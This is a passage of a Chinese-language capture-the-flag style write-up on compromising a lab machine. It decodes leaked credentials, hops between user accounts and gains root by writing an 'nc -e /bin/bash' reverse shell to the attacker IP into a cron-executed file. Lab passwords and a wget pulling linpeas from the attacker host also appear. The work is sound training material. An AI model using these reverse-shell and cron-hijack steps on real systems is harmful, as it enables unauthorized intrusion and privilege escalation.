&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;taskforce&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804125822377.png"&gt;
上面这个应该是一开始用wfuzz爆破的那个，下面这个才是新的用户密码。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804130048122.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; mysql.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d&lt;span class="p"&gt;;&lt;/span&gt; echo&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; mysql.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;批量解码一下得到
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804130916934.png"&gt;
用户名和密码表格如下：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;name&lt;/th&gt;
 &lt;th&gt;pswd&lt;/th&gt;
 &lt;th&gt;base64解码&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Bane&lt;/td&gt;
 &lt;td&gt;YmFuZWlzaGVyZQ==&lt;/td&gt;
 &lt;td&gt;baneishere&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Aaron&lt;/td&gt;
 &lt;td&gt;YWFyb25pc2hlcmU=&lt;/td&gt;
 &lt;td&gt;aaronishere&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Carnage&lt;/td&gt;
 &lt;td&gt;Y2FybmFnZWlzaGVyZQ==&lt;/td&gt;
 &lt;td&gt;carnageishere&lt;br&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;buster&lt;/td&gt;
 &lt;td&gt;YnVzdGVyaXNoZXJlZmY=&lt;/td&gt;
 &lt;td&gt;busterishereff&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;rob&lt;/td&gt;
 &lt;td&gt;Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/&lt;/td&gt;
 &lt;td&gt;???AllIHaveAreNegativeThoughts???&lt;br&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;aunt&lt;/td&gt;
 &lt;td&gt;YXVudGlzIHRoZSBmdWNrIGhlcmU=&lt;/td&gt;
 &lt;td&gt;auntis the fuck here&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;其中 rob是home文件夹下存在的三个用户（abner penguin rob）之一，说明这个密码，可能就是rob的shell的密码。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804131132029.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-tip"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;💡&lt;/span&gt;
 &lt;span class="alert-title"&gt;rob账户的ssh密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;rob - ???AllIHaveAreNegativeThoughts???&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h3 id="登录rob账户"&gt;登录rob账户
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804131228260.png"&gt;
ssh登录成功，此时就可以把修改过的index.php主页改回来以防止再实际渗透过程中因为主页修改而被发现。之后采用ssh登录即可。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804131814297.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Gdkkn Cdzq, Zqsgtq rteedqr eqnl rdudqd ldmszk hkkmdrr ats vd rdd khsskd rxlozsgx enq ghr bnmchshnm. Sghr qdkzsdr sn ghr eddkhmf zants adhmf hfmnqdc. Xnt bzm ehmc zm dmsqx hm ghr intqmzk qdzcr, &amp;#34;Sgd vnqrs ozqs ne gzuhmf z ldmszk hkkmdrr hr odnokd dwodbs xnt sn adgzud zr he xnt cnm&amp;#39;s.&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Mnv H mddc xntq gdko Zamdq, trd sghr ozrrvnqc, xnt vhkk ehmc sgd qhfgs vzx sn rnkud sgd dmhflz. RSLyzF9vYSj5aWjvYFUgcFfvLCAsXVskbyP0aV9xYSgiYV50byZvcFggaiAsdSArzVYkLZ==
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这串文字结构上看有英文的结构，有空格而且第一个单词极有可能是Hello，&lt;code&gt;Hello&lt;/code&gt;对应&lt;code&gt;Gdkkn&lt;/code&gt;既有可能是类似凯撒密码的移动字母表对应关系的密码。l到k再字母表上的顺序是-1，即l对应成k是减一位或者说向后移动25位。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat Abnerineedyourhelp&lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;A-Za-z&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;B-ZAb-za&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat Abnerineedyourhelp&lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;A-Za-z&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;B-ZAb-za&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -Eo &lt;span class="s1"&gt;&amp;#39;[A-Za-z0-9+/=]+$&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat Abnerineedyourhelp&lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;A-Za-z&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;B-ZAb-za&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -Eo &lt;span class="s1"&gt;&amp;#39;[A-Za-z0-9+/=]+$&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;提取疑似是base64密码的部分解码得到
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804133521810.png"&gt;
这段英文翻译是让abner用下面这个密码登录，所以abner的密码就是这个。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804133655640.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;Abner的密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;I33hope99my0death000makes44more8cents00than0my0life0&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h3 id="登录abner账户"&gt;登录abner账户
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804134036870.png"&gt;
好像啥也没有了，卡住了，上小豌豆。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; wget http://192.168.45.204:8000/linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804135821831.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804135855980.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804135928616.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804140125736.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;/var/www/joomla2/administrator/manifests/files/.dear_penguins.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804140423696.png"&gt;
解压需要密码，一开始我认为废了，我没有penguins的密码，但是后来仔细一看这个文件是abner的，所以密码应该还是abner的密码。I33hope99my0death000makes44more8cents00than0my0life0
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804140636236.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;My dear penguins, we stand on a great threshold! It&amp;#39;s okay to be scared; many of you won&amp;#39;t be coming back. Thanks to Batman, the time has come to punish all of God&amp;#39;s children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804140714848.png"&gt;
感觉靶机作者有点癫，但是不管怎么样，又有一串密码了。后面没有等号，我尝试一些解码方式发现都没有看起来是密码的组合，后来想到这串字符本身应该就是密码。&lt;/p&gt;
&lt;blockquote class="alert alert-success"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;penguin账户密码&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;h3 id="登录penguin账户"&gt;登录penguin账户
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804141106718.png"&gt;
看一下这几个txt文件，没有flag。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804141237231.png"&gt;
英文翻译过来提示了这个文件夹下有个root权限的文件，而且是可执行文件。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804141314485.png"&gt;
下面的两个字符是banner艺术字，没有什么有用信息了。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804141747613.png"&gt;
一开始我以为是find文件时那个有root权限的，因为他的权限写了是S，但是我执行了几次都不成功，后来发现应该是.trash_old，这个文件有执行权限。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804142215873.png"&gt;&lt;/p&gt;
&lt;h3 id="提权root账户"&gt;提权root账户
&lt;/h3&gt;&lt;p&gt;用pspy64工具分析进程&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;chmod +x pspy64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 限时两分钟&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;timeout 2m ./pspy64
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804151124182.png"&gt;
看到有root账户UID=0的进程在执行这个trash文件。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804151333546.png"&gt;
虽然不知道为什么定时任务中没找到执行trash文件的命令，但是尝试把反弹的命令写进trash文件里，等待root用户执行应该是可行的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nc -e /bin/bash 192.168.45.204 4778&amp;#39;&lt;/span&gt; &amp;gt; .trash_old
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804143149849.png"&gt;
成功弹回。然后在root下找找具体是那个进程执行的trash。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; pstree -aps &lt;span class="m"&gt;1633&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804152731640.png"&gt;&lt;/p&gt;
&lt;p&gt;这里提示是cron定时任务创建的进程，说明还是要找定时任务，一开始值找了常见的那个，现在用root继续查找更多crontab文件，终于找到执行这个命令的定时任务了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; grep -r &lt;span class="s2"&gt;&amp;#34;SomeoneWhoHidesBehindAMask&amp;#34;&lt;/span&gt; /etc/cron* /var/spool/cron
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804153406309.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-question"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;问题思考&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;/var/spool/cron/crontabs/root 是什么文件，为什么一开始没有找到，想要找到最全的定时任务要用什么命令？&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;p&gt;详细的见补充内容，我询问AI后发现这个定时任务是root专属的，只能在root账户下才找得到，当我是penguin用户，rob用户和abner用户的时候是没有权限访问这个，自然也是找不到的。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804154259978.png"&gt;
用下面这个命令尝试寻找全部定时任务。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;sudo sh -c &lt;span class="s1"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; echo &amp;#34;===== 系统级定时任务 =====&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; cat /etc/crontab
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; echo &amp;#34;\n===== 用户级定时任务 =====&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for user in $(cut -f1 -d: /etc/passwd); do
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; echo &amp;#34;--- $user 的任务 ---&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; crontab -l -u $user 2&amp;gt;/dev/null || echo &amp;#34;无任务&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; done
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; echo &amp;#34;\n===== 特殊位置检查 =====&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; find /etc /var /opt -name &amp;#34;*cron*&amp;#34; -exec grep -l &amp;#34;schedule&amp;#34; {} \; 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; systemctl list-timers --all
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804154554868.png"&gt;
这个靶机还有一点难受的是sudo配置有问题，故意不让你用sudo。本靶机普通用户sudo不行。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250804154739648.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 192.168.45.204]
 B[靶机 &lt;br&gt; 192.168.224.79]
 C[Joomla 后台]
 D[www-data 账户]
 E[用户rob]
 F[用户abner]
 G[用户penguin]
 H[root]
 
 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;|密码爆破|C
 C--&gt;|后台文件上传漏洞| D
 D--&gt;|配置文件泄露密码|E
 E--&gt;|文字留言解码得到密码|F
 F--&gt;|解压文件得到密码|G
 G--&gt;|文件权限配置错误|H
 

	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 

 %% 应用样式
 class A attack;
 class B public;
 class C,D internal;&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2025-08-04 10:00, 2025-08-04 10:40
 漏洞识别 :a2, after a1, 2025-08-04 11:00
 密码爆破 :a3, after a2, 2025-08-04 11:29
 
 section 攻击阶段
 初始访问 :b1, 2025-08-04 12:17, 2025-08-04 12:38
 横向用户 :b2, after b1, 2025-08-04 14:25
 权限提升 :crit,b3, after b2, 5m
 
 section 后渗透阶段
 数据窃取 :c1, after b3, 5m&lt;/pre&gt;&lt;blockquote class="alert alert-abstract"&gt;
 &lt;div class="alert-header"&gt;
 &lt;span class="alert-icon"&gt;&lt;/span&gt;
 &lt;span class="alert-title"&gt;心得&lt;/span&gt;
 &lt;/div&gt;
 &lt;div class="alert-body"&gt;
 &lt;p&gt;本靶机横向获取用户密码较多，多以常见加密手法加密，难点在于没有找到crontab定时任务中明确的执行trash文件的命令，但是通过ps进程分析判断trash文件会被root账户定时执行的情报。&lt;/p&gt;
 &lt;/div&gt;
 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-深入解析-pspy64-工具的使用方法"&gt;🕵️♂️ 深入解析 &lt;code&gt;pspy64&lt;/code&gt; 工具的使用方法
&lt;/h2&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1" target="_blank" rel="noopener"
 &gt;&lt;code&gt;pspy64&lt;/code&gt;&lt;/a&gt; 是一款强大的 ​&lt;strong&gt;​无特权进程监控工具​&lt;/strong&gt;​，专门用于在 Linux 系统中监控其他用户（包括 root）启动的进程，特别适合检测隐藏的定时任务和后台进程。以下是专业级使用指南：&lt;/p&gt;
&lt;h3 id="-基础命令解析"&gt;🔧 基础命令解析
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;timeout 2m /tmp/pspy64
